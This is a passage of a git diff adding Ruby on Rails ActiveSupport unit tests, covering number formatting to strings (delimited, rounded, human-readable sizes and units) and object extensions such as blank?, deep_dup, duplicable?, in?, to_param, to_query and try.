+    assert_equal "12,345,678-05", 12345678.05.to_s(:delimited, separator: "-")
+    assert_equal "12.345.678,05", 12345678.05.to_s(:delimited, separator: ",", delimiter: ".")
+    assert_equal "12.345.678,05", 12345678.05.to_s(:delimited, delimiter: ".", separator: ",")
+  end
+
+  def test_to_s__rounded_with_custom_delimiter_and_separator
+    assert_equal "31,83",       31.825.to_s(:rounded, precision: 2, separator: ",")
+    assert_equal "1.231,83",    1231.825.to_s(:rounded, precision: 2, separator: ",", delimiter: ".")
+  end
+
+  def test_to_s__rounded__with_significant_digits
+    assert_equal "124000", 123987.to_s(:rounded, precision: 3, significant: true)
+    assert_equal "120000000", 123987876.to_s(:rounded, precision: 2, significant: true)
+    assert_equal "9775", 9775.to_s(:rounded, precision: 4, significant: true)
+    assert_equal "5.4", 5.3923.to_s(:rounded, precision: 2, significant: true)
+    assert_equal "5", 5.3923.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "1", 1.232.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "7", 7.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "1", 1.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "53", 52.7923.to_s(:rounded, precision: 2, significant: true)
+    assert_equal "9775.00", 9775.to_s(:rounded, precision: 6, significant: true)
+    assert_equal "5.392900", 5.3929.to_s(:rounded, precision: 7, significant: true)
+    assert_equal "0.0", 0.to_s(:rounded, precision: 2, significant: true)
+    assert_equal "0", 0.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "0.0001", 0.0001.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "0.000100", 0.0001.to_s(:rounded, precision: 3, significant: true)
+    assert_equal "0.0001", 0.0001111.to_s(:rounded, precision: 1, significant: true)
+    assert_equal "10.0", 9.995.to_s(:rounded, precision: 3, significant: true)
+    assert_equal "9.99", 9.994.to_s(:rounded, precision: 3, significant: true)
+    assert_equal "11.0", 10.995.to_s(:rounded, precision: 3, significant: true)
+  end
+
+  def test_to_s__rounded__with_strip_insignificant_zeros
+    assert_equal "9775.43", 9775.43.to_s(:rounded, precision: 4, strip_insignificant_zeros: true)
+    assert_equal "9775.2", 9775.2.to_s(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
+    assert_equal "0", 0.to_s(:rounded, precision: 6, significant: true, strip_insignificant_zeros: true)
+  end
+
+  def test_to_s__rounded__with_significant_true_and_zero_precision
+    # Zero precision with significant is a mistake (would always return zero),
+    # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+    assert_equal "124", 123.987.to_s(:rounded, precision: 0, significant: true)
+    assert_equal "12", 12.to_s(:rounded, precision: 0, significant: true)
+  end
+
+  def test_to_s__human_size
+    assert_equal "0 Bytes",   0.to_s(:human_size)
+    assert_equal "1 Byte",    1.to_s(:human_size)
+    assert_equal "3 Bytes",   3.14159265.to_s(:human_size)
+    assert_equal "123 Bytes", 123.0.to_s(:human_size)
+    assert_equal "123 Bytes", 123.to_s(:human_size)
+    assert_equal "1.21 KB",   1234.to_s(:human_size)
+    assert_equal "12.1 KB",   12345.to_s(:human_size)
+    assert_equal "1.18 MB",   1234567.to_s(:human_size)
+    assert_equal "1.15 GB",   1234567890.to_s(:human_size)
+    assert_equal "1.12 TB",   1234567890123.to_s(:human_size)
+    assert_equal "1.1 PB",    1234567890123456.to_s(:human_size)
+    assert_equal "1.07 EB",   1234567890123456789.to_s(:human_size)
+    assert_equal "1030 EB",   exabytes(1026).to_s(:human_size)
+    assert_equal "444 KB",    kilobytes(444).to_s(:human_size)
+    assert_equal "1020 MB",   megabytes(1023).to_s(:human_size)
+    assert_equal "3 TB",      terabytes(3).to_s(:human_size)
+    assert_equal "1.2 MB",    1234567.to_s(:human_size, precision: 2)
+    assert_equal "3 Bytes",   3.14159265.to_s(:human_size, precision: 4)
+    assert_equal "1 KB",      kilobytes(1.0123).to_s(:human_size, precision: 2)
+    assert_equal "1.01 KB",   kilobytes(1.0100).to_s(:human_size, precision: 4)
+    assert_equal "10 KB",     kilobytes(10.000).to_s(:human_size, precision: 4)
+    assert_equal "1 Byte",    1.1.to_s(:human_size)
+    assert_equal "10 Bytes",  10.to_s(:human_size)
+  end
+
+  def test_to_s__human_size_with_options_hash
+    assert_equal "1.2 MB",   1234567.to_s(:human_size, precision: 2)
+    assert_equal "3 Bytes",  3.14159265.to_s(:human_size, precision: 4)
+    assert_equal "1 KB",     kilobytes(1.0123).to_s(:human_size, precision: 2)
+    assert_equal "1.01 KB",  kilobytes(1.0100).to_s(:human_size, precision: 4)
+    assert_equal "10 KB",    kilobytes(10.000).to_s(:human_size, precision: 4)
+    assert_equal "1 TB",     1234567890123.to_s(:human_size, precision: 1)
+    assert_equal "500 MB",   524288000.to_s(:human_size, precision: 3)
+    assert_equal "10 MB",    9961472.to_s(:human_size, precision: 0)
+    assert_equal "40 KB",    41010.to_s(:human_size, precision: 1)
+    assert_equal "40 KB",    41100.to_s(:human_size, precision: 2)
+    assert_equal "1.0 KB",   kilobytes(1.0123).to_s(:human_size, precision: 2, strip_insignificant_zeros: false)
+    assert_equal "1.012 KB", kilobytes(1.0123).to_s(:human_size, precision: 3, significant: false)
+    assert_equal "1 KB",     kilobytes(1.0123).to_s(:human_size, precision: 0, significant: true) #ignores significant it precision is 0
+  end
+
+  def test_to_s__human_size_with_custom_delimiter_and_separator
+    assert_equal "1,01 KB",     kilobytes(1.0123).to_s(:human_size, precision: 3, separator: ",")
+    assert_equal "1,01 KB",     kilobytes(1.0100).to_s(:human_size, precision: 4, separator: ",")
+    assert_equal "1.000,1 TB",  terabytes(1000.1).to_s(:human_size, precision: 5, delimiter: ".", separator: ",")
+  end
+
+  def test_number_to_human
+    assert_equal "-123", -123.to_s(:human)
+    assert_equal "-0.5", -0.5.to_s(:human)
+    assert_equal "0",   0.to_s(:human)
+    assert_equal "0.5", 0.5.to_s(:human)
+    assert_equal "123", 123.to_s(:human)
+    assert_equal "1.23 Thousand", 1234.to_s(:human)
+    assert_equal "12.3 Thousand", 12345.to_s(:human)
+    assert_equal "1.23 Million", 1234567.to_s(:human)
+    assert_equal "1.23 Billion", 1234567890.to_s(:human)
+    assert_equal "1.23 Trillion", 1234567890123.to_s(:human)
+    assert_equal "1.23 Quadrillion", 1234567890123456.to_s(:human)
+    assert_equal "1230 Quadrillion", 1234567890123456789.to_s(:human)
+    assert_equal "490 Thousand", 489939.to_s(:human, precision: 2)
+    assert_equal "489.9 Thousand", 489939.to_s(:human, precision: 4)
+    assert_equal "489 Thousand", 489000.to_s(:human, precision: 4)
+    assert_equal "489.0 Thousand", 489000.to_s(:human, precision: 4, strip_insignificant_zeros: false)
+    assert_equal "1.2346 Million", 1234567.to_s(:human, precision: 4, significant: false)
+    assert_equal "1,2 Million", 1234567.to_s(:human, precision: 1, significant: false, separator: ",")
+    assert_equal "1 Million", 1234567.to_s(:human, precision: 0, significant: true, separator: ",") #significant forced to false
+  end
+
+  def test_number_to_human_with_custom_units
+    #Only integers
+    volume = { unit: "ml", thousand: "lt", million: "m3" }
+    assert_equal "123 lt", 123456.to_s(:human, units: volume)
+    assert_equal "12 ml", 12.to_s(:human, units: volume)
+    assert_equal "1.23 m3", 1234567.to_s(:human, units: volume)
+
+    #Including fractionals
+    distance = { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
+    assert_equal "1.23 mm", 0.00123.to_s(:human, units: distance)
+    assert_equal "1.23 cm", 0.0123.to_s(:human, units: distance)
+    assert_equal "1.23 dm", 0.123.to_s(:human, units: distance)
+    assert_equal "1.23 m",  1.23.to_s(:human, units: distance)
+    assert_equal "1.23 dam", 12.3.to_s(:human, units: distance)
+    assert_equal "1.23 hm", 123.to_s(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
+    assert_equal "1.23 km", 1230.to_s(:human, units: distance)
+    assert_equal "12.3 km", 12300.to_s(:human, units: distance)
+
+    #The quantifiers don't need to be a continuous sequence
+    gangster = { hundred: "hundred bucks", million: "thousand quids" }
+    assert_equal "1 hundred bucks", 100.to_s(:human, units: gangster)
+    assert_equal "25 hundred bucks", 2500.to_s(:human, units: gangster)
+    assert_equal "25 thousand quids", 25000000.to_s(:human, units: gangster)
+    assert_equal "12300 thousand quids", 12345000000.to_s(:human, units: gangster)
+
+    #Spaces are stripped from the resulting string
+    assert_equal "4", 4.to_s(:human, units: { unit: "", ten: "tens " })
+    assert_equal "4.5  tens", 45.to_s(:human, units: { unit: "", ten: " tens   " })
+  end
+
+  def test_number_to_human_with_custom_format
+    assert_equal "123 times Thousand", 123456.to_s(:human, format: "%n times %u")
+    volume = { unit: "ml", thousand: "lt", million: "m3" }
+    assert_equal "123.lt", 123456.to_s(:human, units: volume, format: "%n.%u")
+  end
+
+  def test_to_s__injected_on_proper_types
+    assert_equal "1.23 Thousand", 1230.to_s(:human)
+    assert_equal "1.23 Thousand", Float(1230).to_s(:human)
+    assert_equal "100000 Quadrillion", (100**10).to_s(:human)
+    assert_equal "1 Million", BigDecimal("1000010").to_s(:human)
+  end
+
+  def test_to_s_with_invalid_formatter
+    assert_equal "123", 123.to_s(:invalid)
+    assert_equal "2.5", 2.5.to_s(:invalid)
+    assert_equal "100000000000000000000", (100**10).to_s(:invalid)
+    assert_equal "1000010.0", BigDecimal("1000010").to_s(:invalid)
+  end
+
+  def test_default_to_s
+    assert_equal "123", 123.to_s
+    assert_equal "1111011", 123.to_s(2)
+
+    assert_equal "2.5", 2.5.to_s
+
+    assert_equal "100000000000000000000", (100**10).to_s
+    assert_equal "1010110101111000111010111100010110101100011000100000000000000000000", (100**10).to_s(2)
+
+    assert_equal "1000010.0", BigDecimal("1000010").to_s
+    assert_equal "10000 10.0", BigDecimal("1000010").to_s("5F")
+
+    assert_raises TypeError do
+      1.to_s({})
+    end
+  end
+
+  def test_in_milliseconds
+    assert_equal 10_000, 10.seconds.in_milliseconds
+  end
+
+  # TODO: Remove positive and negative tests when we drop support to ruby < 2.3
+  b = 2**64
+
+  T_ZERO = b.coerce(0).first
+  T_ONE  = b.coerce(1).first
+  T_MONE = b.coerce(-1).first
+
+  def test_positive
+    assert_predicate(1, :positive?)
+    assert_not_predicate(0, :positive?)
+    assert_not_predicate(-1, :positive?)
+    assert_predicate(+1.0, :positive?)
+    assert_not_predicate(+0.0, :positive?)
+    assert_not_predicate(-0.0, :positive?)
+    assert_not_predicate(-1.0, :positive?)
+    assert_predicate(+(0.0.next_float), :positive?)
+    assert_not_predicate(-(0.0.next_float), :positive?)
+    assert_predicate(Float::INFINITY, :positive?)
+    assert_not_predicate(-Float::INFINITY, :positive?)
+    assert_not_predicate(Float::NAN, :positive?)
+
+    a = Class.new(Numeric) do
+      def >(x); true; end
+    end.new
+    assert_predicate(a, :positive?)
+
+    a = Class.new(Numeric) do
+      def >(x); false; end
+    end.new
+    assert_not_predicate(a, :positive?)
+
+    assert_predicate(1 / 2r, :positive?)
+    assert_not_predicate(-1 / 2r, :positive?)
+
+    assert_predicate(T_ONE, :positive?)
+    assert_not_predicate(T_MONE, :positive?)
+    assert_not_predicate(T_ZERO, :positive?)
+
+    e = assert_raises(NoMethodError) do
+      Complex(1).positive?
+    end
+
+    assert_match(/positive\?/, e.message)
+  end
+
+  def test_negative
+    assert_predicate(-1, :negative?)
+    assert_not_predicate(0, :negative?)
+    assert_not_predicate(1, :negative?)
+    assert_predicate(-1.0, :negative?)
+    assert_not_predicate(-0.0, :negative?)
+    assert_not_predicate(+0.0, :negative?)
+    assert_not_predicate(+1.0, :negative?)
+    assert_predicate(-(0.0.next_float), :negative?)
+    assert_not_predicate(+(0.0.next_float), :negative?)
+    assert_predicate(-Float::INFINITY, :negative?)
+    assert_not_predicate(Float::INFINITY, :negative?)
+    assert_not_predicate(Float::NAN, :negative?)
+
+    a = Class.new(Numeric) do
+      def <(x); true; end
+    end.new
+    assert_predicate(a, :negative?)
+
+    a = Class.new(Numeric) do
+      def <(x); false; end
+    end.new
+    assert_not_predicate(a, :negative?)
+
+    assert_predicate(-1 / 2r, :negative?)
+    assert_not_predicate(1 / 2r, :negative?)
+
+    assert_not_predicate(T_ONE, :negative?)
+    assert_predicate(T_MONE, :negative?)
+    assert_not_predicate(T_ZERO, :negative?)
+
+    e = assert_raises(NoMethodError) do
+      Complex(1).negative?
+    end
+
+    assert_match(/negative\?/, e.message)
+  end
+end
diff --git a/activesupport/test/core_ext/object/acts_like_test.rb b/activesupport/test/core_ext/object/acts_like_test.rb
new file mode 100644
index 0000000000..9f7b81f7fc
--- /dev/null
+++ b/activesupport/test/core_ext/object/acts_like_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object"
+
+class ObjectTests < ActiveSupport::TestCase
+  class DuckTime
+    def acts_like_time?
+      true
+    end
+  end
+
+  def test_duck_typing
+    object = Object.new
+    time   = Time.now
+    date   = Date.today
+    dt     = DateTime.new
+    duck   = DuckTime.new
+
+    assert !object.acts_like?(:time)
+    assert !object.acts_like?(:date)
+
+    assert time.acts_like?(:time)
+    assert !time.acts_like?(:date)
+
+    assert !date.acts_like?(:time)
+    assert date.acts_like?(:date)
+
+    assert dt.acts_like?(:time)
+    assert dt.acts_like?(:date)
+
+    assert duck.acts_like?(:time)
+    assert !duck.acts_like?(:date)
+  end
+end
diff --git a/activesupport/test/core_ext/object/blank_test.rb b/activesupport/test/core_ext/object/blank_test.rb
new file mode 100644
index 0000000000..749e59ec00
--- /dev/null
+++ b/activesupport/test/core_ext/object/blank_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/blank"
+
+class BlankTest < ActiveSupport::TestCase
+  class EmptyTrue
+    def empty?
+      0
+    end
+  end
+
+  class EmptyFalse
+    def empty?
+      nil
+    end
+  end
+
+  BLANK = [ EmptyTrue.new, nil, false, "", "   ", "  \n\t  \r ", "　", "\u00a0", [], {} ]
+  NOT   = [ EmptyFalse.new, Object.new, true, 0, 1, "a", [nil], { nil => 0 }, Time.now ]
+
+  def test_blank
+    BLANK.each { |v| assert_equal true, v.blank?,  "#{v.inspect} should be blank" }
+    NOT.each   { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
+  end
+
+  def test_present
+    BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+    NOT.each   { |v| assert_equal true, v.present?,  "#{v.inspect} should be present" }
+  end
+
+  def test_presence
+    BLANK.each { |v| assert_nil v.presence, "#{v.inspect}.presence should return nil" }
+    NOT.each   { |v| assert_equal v,   v.presence, "#{v.inspect}.presence should return self" }
+  end
+end
diff --git a/activesupport/test/core_ext/object/deep_dup_test.rb b/activesupport/test/core_ext/object/deep_dup_test.rb
new file mode 100644
index 0000000000..2486592441
--- /dev/null
+++ b/activesupport/test/core_ext/object/deep_dup_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object"
+
+class DeepDupTest < ActiveSupport::TestCase
+  def test_array_deep_dup
+    array = [1, [2, 3]]
+    dup = array.deep_dup
+    dup[1][2] = 4
+    assert_nil array[1][2]
+    assert_equal 4, dup[1][2]
+  end
+
+  def test_hash_deep_dup
+    hash = { a: { b: "b" } }
+    dup = hash.deep_dup
+    dup[:a][:c] = "c"
+    assert_nil hash[:a][:c]
+    assert_equal "c", dup[:a][:c]
+  end
+
+  def test_array_deep_dup_with_hash_inside
+    array = [1, { a: 2, b: 3 } ]
+    dup = array.deep_dup
+    dup[1][:c] = 4
+    assert_nil array[1][:c]
+    assert_equal 4, dup[1][:c]
+  end
+
+  def test_hash_deep_dup_with_array_inside
+    hash = { a: [1, 2] }
+    dup = hash.deep_dup
+    dup[:a][2] = "c"
+    assert_nil hash[:a][2]
+    assert_equal "c", dup[:a][2]
+  end
+
+  def test_deep_dup_initialize
+    zero_hash = Hash.new 0
+    hash = { a: zero_hash }
+    dup = hash.deep_dup
+    assert_equal 0, dup[:a][44]
+  end
+
+  def test_object_deep_dup
+    object = Object.new
+    dup = object.deep_dup
+    dup.instance_variable_set(:@a, 1)
+    assert !object.instance_variable_defined?(:@a)
+    assert dup.instance_variable_defined?(:@a)
+  end
+
+  def test_deep_dup_with_hash_class_key
+    hash = { Integer => 1 }
+    dup = hash.deep_dup
+    assert_equal 1, dup.keys.length
+  end
+end
diff --git a/activesupport/test/core_ext/object/duplicable_test.rb b/activesupport/test/core_ext/object/duplicable_test.rb
new file mode 100644
index 0000000000..93f39b00bb
--- /dev/null
+++ b/activesupport/test/core_ext/object/duplicable_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "bigdecimal"
+require "active_support/core_ext/object/duplicable"
+require "active_support/core_ext/numeric/time"
+
+class DuplicableTest < ActiveSupport::TestCase
+  if RUBY_VERSION >= "2.5.0"
+    RAISE_DUP = [method(:puts)]
+    ALLOW_DUP = ["1", "symbol_from_string".to_sym, Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56"), nil, false, true, 1, 2.3, Complex(1), Rational(1)]
+  elsif RUBY_VERSION >= "2.4.1"
+    RAISE_DUP = [method(:puts), Complex(1), Rational(1)]
+    ALLOW_DUP = ["1", "symbol_from_string".to_sym, Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56"), nil, false, true, 1, 2.3]
+  elsif RUBY_VERSION >= "2.4.0"  # Due to 2.4.0 bug. This elsif cannot be removed unless we drop 2.4.0 support...
+    RAISE_DUP = [method(:puts), Complex(1), Rational(1), "symbol_from_string".to_sym]
+    ALLOW_DUP = ["1", Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56"), nil, false, true, 1, 2.3]
+  else
+    RAISE_DUP = [nil, false, true, :symbol, 1, 2.3, method(:puts), Complex(1), Rational(1)]
+    ALLOW_DUP = ["1", Object.new, /foo/, [], {}, Time.now, Class.new, Module.new, BigDecimal.new("4.56")]
+  end
+
+  def test_duplicable
+    rubinius_skip "* Method#dup is allowed at the moment on Rubinius\n" \
+                  "* https://github.com/rubinius/rubinius/issues/3089"
+
+    RAISE_DUP.each do |v|
+      assert !v.duplicable?, "#{ v.inspect } should not be duplicable"
+      assert_raises(TypeError, v.class.name) { v.dup }
+    end
+
+    ALLOW_DUP.each do |v|
+      assert v.duplicable?, "#{ v.class } should be duplicable"
+      assert_nothing_raised { v.dup }
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
new file mode 100644
index 0000000000..52c21f2e8e
--- /dev/null
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/inclusion"
+
+class InTest < ActiveSupport::TestCase
+  def test_in_array
+    assert 1.in?([1, 2])
+    assert !3.in?([1, 2])
+  end
+
+  def test_in_hash
+    h = { "a" => 100, "b" => 200 }
+    assert "a".in?(h)
+    assert !"z".in?(h)
+  end
+
+  def test_in_string
+    assert "lo".in?("hello")
+    assert !"ol".in?("hello")
+    assert ?h.in?("hello")
+  end
+
+  def test_in_range
+    assert 25.in?(1..50)
+    assert !75.in?(1..50)
+  end
+
+  def test_in_set
+    s = Set.new([1, 2])
+    assert 1.in?(s)
+    assert !3.in?(s)
+  end
+
+  module A
+  end
+  class B
+    include A
+  end
+  class C < B
+  end
+  class D
+  end
+
+  def test_in_module
+    assert A.in?(B)
+    assert A.in?(C)
+    assert !A.in?(A)
+    assert !A.in?(D)
+  end
+
+  def test_no_method_catching
+    assert_raise(ArgumentError) { 1.in?(1) }
+  end
+
+  def test_presence_in
+    assert_equal "stuff", "stuff".presence_in(%w( lots of stuff ))
+    assert_nil "stuff".presence_in(%w( lots of crap ))
+    assert_raise(ArgumentError) { 1.presence_in(1) }
+  end
+end
diff --git a/activesupport/test/core_ext/object/instance_variables_test.rb b/activesupport/test/core_ext/object/instance_variables_test.rb
new file mode 100644
index 0000000000..b9ec827954
--- /dev/null
+++ b/activesupport/test/core_ext/object/instance_variables_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object"
+
+class ObjectInstanceVariableTest < ActiveSupport::TestCase
+  def setup
+    @source, @dest = Object.new, Object.new
+    @source.instance_variable_set(:@bar, "bar")
+    @source.instance_variable_set(:@baz, "baz")
+  end
+
+  def test_instance_variable_names
+    assert_equal %w(@bar @baz), @source.instance_variable_names.sort
+  end
+
+  def test_instance_values
+    assert_equal({ "bar" => "bar", "baz" => "baz" }, @source.instance_values)
+  end
+
+  def test_instance_exec_passes_arguments_to_block
+    assert_equal %w(hello goodbye), "hello".instance_exec("goodbye") { |v| [self, v] }
+  end
+
+  def test_instance_exec_with_frozen_obj
+    assert_equal %w(olleh goodbye), "hello".freeze.instance_exec("goodbye") { |v| [reverse, v] }
+  end
+
+  def test_instance_exec_nested
+    assert_equal %w(goodbye olleh bar), "hello".instance_exec("goodbye") { |arg|
+      [arg] + instance_exec("bar") { |v| [reverse, v] } }
+  end
+end
diff --git a/activesupport/test/core_ext/object/json_cherry_pick_test.rb b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
new file mode 100644
index 0000000000..22659a4050
--- /dev/null
+++ b/activesupport/test/core_ext/object/json_cherry_pick_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+# These test cases were added to test that cherry-picking the json extensions
+# works correctly, primarily for dependencies problems reported in #16131. They
+# need to be executed in isolation to reproduce the scenario correctly, because
+# other test cases might have already loaded additional dependencies.
+
+class JsonCherryPickTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  def test_time_as_json
+    require_or_skip "active_support/core_ext/object/json"
+
+    expected = Time.new(2004, 7, 25)
+    actual   = Time.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  def test_date_as_json
+    require_or_skip "active_support/core_ext/object/json"
+
+    expected = Date.new(2004, 7, 25)
+    actual   = Date.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  def test_datetime_as_json
+    require_or_skip "active_support/core_ext/object/json"
+
+    expected = DateTime.new(2004, 7, 25)
+    actual   = DateTime.parse(expected.as_json)
+
+    assert_equal expected, actual
+  end
+
+  private
+    def require_or_skip(file)
+      require(file) || skip("'#{file}' was already loaded")
+    end
+end
diff --git a/activesupport/test/core_ext/object/json_gem_encoding_test.rb b/activesupport/test/core_ext/object/json_gem_encoding_test.rb
new file mode 100644
index 0000000000..4cdb6ed09f
--- /dev/null
+++ b/activesupport/test/core_ext/object/json_gem_encoding_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "json"
+require "json/encoding_test_cases"
+
+# These test cases were added to test that we do not interfere with json gem's
+# output when the AS encoder is loaded, primarily for problems reported in
+# #20775. They need to be executed in isolation to reproduce the scenario
+# correctly, because other test cases might have already loaded additional
+# dependencies.
+
+# The AS::JSON encoder requires the BigDecimal core_ext, which, unfortunately,
+# changes the BigDecimal#to_s output, and consequently the JSON gem output. So
+# we need to require this upfront to ensure we don't get a false failure, but
+# ideally we should just fix the BigDecimal core_ext to not change to_s without
+# arguments.
+require "active_support/core_ext/big_decimal"
+
+class JsonGemEncodingTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  JSONTest::EncodingTestCases.constants.each_with_index do |name|
+    JSONTest::EncodingTestCases.const_get(name).each_with_index do |(subject, _), i|
+      test("#{name[0..-6].underscore} #{i}") do
+        assert_same_with_or_without_active_support(subject)
+      end
+    end
+  end
+
+  class CustomToJson
+    def to_json(*)
+      '"custom"'
+    end
+  end
+
+  test "custom to_json" do
+    assert_same_with_or_without_active_support(CustomToJson.new)
+  end
+
+  private
+    def require_or_skip(file)
+      require(file) || skip("'#{file}' was already loaded")
+    end
+
+    def assert_same_with_or_without_active_support(subject)
+      begin
+        expected = JSON.generate(subject, quirks_mode: true)
+      rescue JSON::GeneratorError => e
+        exception = e
+      end
+
+      require_or_skip "active_support/core_ext/object/json"
+
+      if exception
+        assert_raises_with_message JSON::GeneratorError, e.message do
+          JSON.generate(subject, quirks_mode: true)
+        end
+      else
+        assert_equal expected, JSON.generate(subject, quirks_mode: true)
+      end
+    end
+
+    def assert_raises_with_message(exception_class, message, &block)
+      err = assert_raises(exception_class) { block.call }
+      assert_match message, err.message
+    end
+end
diff --git a/activesupport/test/core_ext/object/to_param_test.rb b/activesupport/test/core_ext/object/to_param_test.rb
new file mode 100644
index 0000000000..612156bd99
--- /dev/null
+++ b/activesupport/test/core_ext/object/to_param_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object/to_param"
+
+class ToParamTest < ActiveSupport::TestCase
+  class CustomString < String
+    def to_param
+      "custom-#{ self }"
+    end
+  end
+
+  def test_object
+    foo = Object.new
+    def foo.to_s; "foo" end
+    assert_equal "foo", foo.to_param
+  end
+
+  def test_nil
+    assert_nil nil.to_param
+  end
+
+  def test_boolean
+    assert_equal true, true.to_param
+    assert_equal false, false.to_param
+  end
+
+  def test_array
+    # Empty Array
+    assert_equal "", [].to_param
+
+    array = [1, 2, 3, 4]
+    assert_equal "1/2/3/4", array.to_param
+
+    # Array of different objects
+    array = [1, "3", { a: 1, b: 2 }, nil, true, false, CustomString.new("object")]
+    assert_equal "1/3/a=1&b=2//true/false/custom-object", array.to_param
+  end
+end
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
new file mode 100644
index 0000000000..7593bcfa4d
--- /dev/null
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/ordered_hash"
+require "active_support/core_ext/object/to_query"
+require "active_support/core_ext/string/output_safety"
+
+class ToQueryTest < ActiveSupport::TestCase
+  def test_simple_conversion
+    assert_query_equal "a=10", a: 10
+  end
+
+  def test_cgi_escaping
+    assert_query_equal "a%3Ab=c+d", "a:b" => "c d"
+  end
+
+  def test_html_safe_parameter_key
+    assert_query_equal "a%3Ab=c+d", "a:b".html_safe => "c d"
+  end
+
+  def test_html_safe_parameter_value
+    assert_query_equal "a=%5B10%5D", "a" => "[10]".html_safe
+  end
+
+  def test_nil_parameter_value
+    empty = Object.new
+    def empty.to_param; nil end
+    assert_query_equal "a=", "a" => empty
+  end
+
+  def test_nested_conversion
+    assert_query_equal "person%5Blogin%5D=seckar&person%5Bname%5D=Nicholas",
+      person: Hash[:login, "seckar", :name, "Nicholas"]
+  end
+
+  def test_multiple_nested
+    assert_query_equal "account%5Bperson%5D%5Bid%5D=20&person%5Bid%5D=10",
+      Hash[:account, { person: { id: 20 } }, :person, { id: 10 }]
+  end
+
+  def test_array_values
+    assert_query_equal "person%5Bid%5D%5B%5D=10&person%5Bid%5D%5B%5D=20",
+      person: { id: [10, 20] }
+  end
+
+  def test_array_values_are_not_sorted
+    assert_query_equal "person%5Bid%5D%5B%5D=20&person%5Bid%5D%5B%5D=10",
+      person: { id: [20, 10] }
+  end
+
+  def test_empty_array
+    assert_equal "person%5B%5D=", [].to_query("person")
+  end
+
+  def test_nested_empty_hash
+    assert_equal "",
+      {}.to_query
+    assert_query_equal "a=1&b%5Bc%5D=3",
+      a: 1, b: { c: 3, d: {} }
+    assert_query_equal "",
+      a: { b: { c: {} } }
+    assert_query_equal "b%5Bc%5D=false&b%5Be%5D=&b%5Bf%5D=&p=12",
+      p: 12, b: { c: false, e: nil, f: "" }
+    assert_query_equal "b%5Bc%5D=3&b%5Bf%5D=",
+      b: { c: 3, k: {}, f: "" }
+    assert_query_equal "b=3",
+      a: [], b: 3
+  end
+
+  def test_hash_with_namespace
+    hash = { name: "Nakshay", nationality: "Indian" }
+    assert_equal "user%5Bname%5D=Nakshay&user%5Bnationality%5D=Indian", hash.to_query("user")
+  end
+
+  def test_hash_sorted_lexicographically
+    hash = { type: "human", name: "Nakshay" }
+    assert_equal "name=Nakshay&type=human", hash.to_query
+  end
+
+  private
+    def assert_query_equal(expected, actual)
+      assert_equal expected.split("&"), actual.to_query.split("&")
+    end
+end
diff --git a/activesupport/test/core_ext/object/try_test.rb b/activesupport/test/core_ext/object/try_test.rb
new file mode 100644
index 0000000000..fe68b24bf5
--- /dev/null
+++ b/activesupport/test/core_ext/object/try_test.rb
@@ -0,0 +1,165 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/object"
+
+class ObjectTryTest < ActiveSupport::TestCase
+  def setup
+    @string = "Hello"
+  end
+
+  def test_nonexisting_method
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_nil @string.try(method)
+  end
+
+  def test_nonexisting_method_with_arguments
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_nil @string.try(method, "llo", "y")
+  end
+
+  def test_nonexisting_method_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method) }
+  end
+
+  def test_nonexisting_method_with_arguments_bang
+    method = :undefined_method
+    assert !@string.respond_to?(method)
+    assert_raise(NoMethodError) { @string.try!(method, "llo", "y") }
+  end
+
+  def test_valid_method
+    assert_equal 5, @string.try(:size)
+  end
+
+  def test_argument_forwarding
+    assert_equal "Hey", @string.try(:sub, "llo", "y")
+  end
+
+  def test_block_forwarding
+    assert_equal "Hey", @string.try(:sub, "llo") { |match| "y" }
+  end
+
+  def test_nil_to_type
+    assert_nil nil.try(:to_s)
